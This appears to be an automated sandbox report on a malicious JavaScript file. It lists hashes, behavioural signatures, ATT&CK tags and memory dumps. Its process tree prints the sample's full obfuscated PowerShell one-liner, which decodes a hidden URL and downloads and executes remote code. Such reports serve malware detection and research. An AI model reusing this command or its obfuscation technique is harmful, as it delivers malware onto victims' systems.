f3fec0f30ce62488384b9158d9341b27bdd798114416fb98e01149aaadd93290

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:40

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General

Target

56b1e069cdb86c6b58a3fff01d2275dbe47a7f7fdac49cab316c764e0484ef4e.js
Size

235KB
MD5

1ecb2fb76ca7c3ab389b7effa32e25d4
SHA1

5439f8a5a5e2cd5ef88147c6f1c8e118b4894fef
SHA256

56b1e069cdb86c6b58a3fff01d2275dbe47a7f7fdac49cab316c764e0484ef4e
SHA512

b44dc650f70924408c844822ca2d684f651d622b0c17dfa305540abfbfc3c0e5d340092ee56a5178936d3523a3a8e5aa7a9904ac83d1ca73404ceb8062895850
SSDEEP

1536:nwFI/TEEj9J6EhsyWUs0G2kvjDFzq7cgWkJQ5J6EhsyWUs0G2kvjDFpcgWkJQOcw:nUJiLJrFRJBJj

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3412	3504	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	3384	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3384	powershell.exe
3384	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3384	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3412 wrote to memory of 3384	3412	conhost.exe	85
PID 3412 wrote to memory of 3384	3412	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\56b1e069cdb86c6b58a3fff01d2275dbe47a7f7fdac49cab316c764e0484ef4e.js
1⤵
PID:2196

C:\Windows\system32\conhost.exe
conhost --headless powershell $njaephrwzisbxd='ur' ;new-alias printout c$($njaephrwzisbxd)l;$ofkilxrqb=(7911,7922,7930,7914,7916,7911,7931,7930,7935,7868,7930,7864,7911,7859,7929,7924,7925,7860,7862,7859,7925,7917,7925,7876,7928,7874,7922,7918,7923,7929,7928,7863,7862);$tlgdujvwifmbq=('bronx','get-cmdlet');$hnfzpxa=$ofkilxrqb;foreach($atrqnbc in $hnfzpxa){$cqokjtn=$atrqnbc;$vnyecsa=$vnyecsa+[char]($cqokjtn-7813);$utdaknglzirp=$vnyecsa; $touqpnzxmihdsa=$utdaknglzirp};$rozwavceykh[2]=$touqpnzxmihdsa;$fvpshzwmctarnq='rl';$asehxzjnibl=1;.$([char](9992-9887)+'e'+'x')(printout -useb $touqpnzxmihdsa)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $njaephrwzisbxd='ur' ;new-alias printout c$($njaephrwzisbxd)l;$ofkilxrqb=(7911,7922,7930,7914,7916,7911,7931,7930,7935,7868,7930,7864,7911,7859,7929,7924,7925,7860,7862,7859,7925,7917,7925,7876,7928,7874,7922,7918,7923,7929,7928,7863,7862);$tlgdujvwifmbq=('bronx','get-cmdlet');$hnfzpxa=$ofkilxrqb;foreach($atrqnbc in $hnfzpxa){$cqokjtn=$atrqnbc;$vnyecsa=$vnyecsa+[char]($cqokjtn-7813);$utdaknglzirp=$vnyecsa; $touqpnzxmihdsa=$utdaknglzirp};$rozwavceykh[2]=$touqpnzxmihdsa;$fvpshzwmctarnq='rl';$asehxzjnibl=1;.$([char](9992-9887)+'e'+'x')(printout -useb $touqpnzxmihdsa)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hiahoouv.l3k.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3384-0-0x00007FFF4B1B3000-0x00007FFF4B1B5000-memory.dmp

Filesize
8KB

Download
memory/3384-10-0x0000027624B40000-0x0000027624B62000-memory.dmp

Filesize
136KB

Download
memory/3384-11-0x00007FFF4B1B0000-0x00007FFF4BC71000-memory.dmp

Filesize
10.8MB

Download
memory/3384-12-0x00007FFF4B1B0000-0x00007FFF4BC71000-memory.dmp

Filesize
10.8MB

Download
memory/3384-13-0x00007FFF4B1B0000-0x00007FFF4BC71000-memory.dmp

Filesize
10.8MB

Download
memory/3384-14-0x00007FFF4B1B0000-0x00007FFF4BC71000-memory.dmp

Filesize
10.8MB

Download
memory/3384-15-0x00007FFF4B1B0000-0x00007FFF4BC71000-memory.dmp

Filesize
10.8MB

Download
memory/3384-16-0x00007FFF4B1B3000-0x00007FFF4B1B5000-memory.dmp

Filesize
8KB

Download
memory/3384-17-0x00007FFF4B1B0000-0x00007FFF4BC71000-memory.dmp

Filesize
10.8MB

Download
memory/3384-20-0x00007FFF4B1B0000-0x00007FFF4BC71000-memory.dmp

Filesize
10.8MB

Download